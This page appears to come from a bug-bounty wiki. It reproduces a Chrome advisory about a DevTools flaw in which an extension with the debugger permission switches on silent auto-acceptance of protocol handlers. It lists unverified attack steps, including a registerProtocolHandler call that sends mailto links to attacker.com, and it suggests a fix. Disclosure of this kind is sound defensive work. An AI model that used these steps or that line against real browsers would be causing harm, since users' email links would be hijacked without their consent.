Skip to content
Access control Advisory Advanced CVE-2026-8006

Insufficient policy enforcement in DevTools (CVE-2026-8006)

An extension holding the debugger permission could send a DevTools command that switches the browser profile into automatically accepting protocol handler registrations, so a page could register a handler for a scheme such as mailto without any user prompt. The auto-accept state was not reset when the debugger detached, so any later website could silently register handlers until the browser restarted.

Google Chrome

Originally disclosed on Chrome VRP

  • Fix shipped in 41 days

Project Fortify, an experimental security project, has identified the following potential security issue.

Overview: An extension with the debugger permission can use the Page.setRPHRegistrationMode DevTools command to silently enable profile-wide automatic acceptance of protocol handler registrations. This allows the silent, persistent hijacking of sensitive URI schemes like mailto: without a user permission prompt. Furthermore, the auto-accept state is not reverted when the debugger detaches, leaving the browser vulnerable to silent hijacking by any website.

Affected files:

  • chrome/browser/devtools/protocol/page_handler.cc
  • chrome/browser/devtools/chrome_devtools_session.cc
  • chrome/browser/ui/browser.cc
  • components/custom_handlers/protocol_handler_registry.cc
  • chrome/browser/custom_handlers/protocol_handler_registry_factory.cc

Estimated timestamp from git blame: 2025-06-23

Description

There is a potential vulnerability in how the DevTools Page domain handles the SetRPHRegistrationMode command when invoked by untrusted clients (e.g., extensions using chrome.debugger). By setting the mode to autoAccept, a malicious extension can globally bypass the user permission prompt for navigator.registerProtocolHandler().

Because the underlying ProtocolHandlerRegistry is shared profile-wide, this bypass affects the entire browser profile. When a protocol handler is registered under this mode, it is permanently saved to the user's disk preferences. Additionally, PageHandler::Disable() fails to reset this state, meaning the browser remains in an insecure state even after the extension detaches or is uninstalled, allowing any website to silently hijack protocol handlers until the browser is restarted.

Note: The following steps are suggested/potential, as our setup does not currently have the ability to run code to verify the exploit end-to-end.

Potential Attack Steps

  1. A malicious extension with the debugger permission is installed and uses chrome.debugger.attach to attach to a tab.
  2. The extension sends the Page.setRPHRegistrationMode command with mode: 'autoAccept'.
  3. The command is handled by PageHandler::SetRPHRegistrationMode (chrome/browser/devtools/protocol/page_handler.cc), which fetches the profile-wide ProtocolHandlerRegistry and sets its registration_mode_ to kAutoAccept.
  4. The extension executes JavaScript in the tab (e.g., via Runtime.evaluate with userGesture: true) to call navigator.registerProtocolHandler('mailto', 'https://attacker.com/?q=%s').
  5. The IPC request reaches Browser::RegisterProtocolHandler (chrome/browser/ui/browser.cc), which checks the registry's registration_mode(). Seeing kAutoAccept, it bypasses the PermissionRequestManager and directly accepts the registration.
  6. The registration is saved to disk via ProtocolHandlerRegistry::Save(), making the hijack persistent across browser restarts.
  7. The extension detaches. PageHandler::Disable() (chrome/browser/devtools/protocol/page_handler.cc) is called but fails to reset the RphRegistrationMode (unlike SPCTransactionMode, which is properly reset).
  8. The profile remains stuck in kAutoAccept mode. Any arbitrary website the user visits can now silently register protocol handlers until the browser process is fully restarted.

Suggested Fix

  1. State Cleanup: Update PageHandler::Disable() in chrome/browser/devtools/protocol/page_handler.cc to explicitly reset the registration mode back to kNone, similar to how it handles SPC transaction modes:

    C++
    SetRPHRegistrationMode(protocol::Page::SetRPHRegistrationMode::ModeEnum::None);
    
  2. Scope Limitation: Consider whether untrusted DevTools clients (like extensions) should be permitted to alter profile-wide state like the ProtocolHandlerRegistry mode. It may be appropriate to restrict SetRPHRegistrationMode to trusted clients only, or ensure the mock mode only applies to the specific WebContents rather than the entire BrowserContext.

Evaluated with Chrome root at commit: 0eb4855bda702feaaa8b899336664f97e3df88b8


Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. Please feel free to reach out to me if you have concerns or feedback.

The original report as published on the Chromium issue tracker. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the DevTools page handler let an untrusted client change a profile-wide registration mode and never restored it when the debugging session ended.

Impact

A malicious extension could persistently hijack sensitive URI schemes such as mailto without a prompt, and after it detached any website could do the same until the browser process was fully restarted; the report notes the exploit was not verified end to end.

What the attacker needed

An extension with the debugger permission; user installs the extension; browser not restarted after detach

The fix

The handler should reset the registration mode when the debugger detaches, and the command should probably be limited to trusted clients or scoped to a single tab rather than the whole profile.

How it was found

  1. An extension with the debugger permission attaches to a tab.
  2. The extension sends the DevTools command that sets the registration mode to auto-accept.
  3. The handler applies that mode to the shared, profile-wide protocol handler registry.
  4. The extension runs script in the tab to register a protocol handler for a scheme such as mailto.
  5. The browser sees the auto-accept mode, skips the permission prompt and saves the registration to disk.
  6. The extension detaches, but the mode is not reset, so later websites can register handlers silently.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Browsers normally ask you before a website is allowed to become the default app for a link type like email links. This report says a browser extension with special debugging powers could turn that question off for the whole browser, and the setting stayed off even after the extension stopped debugging. The author did not actually run the attack, so the steps are a reasoned guess rather than a confirmed demonstration.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.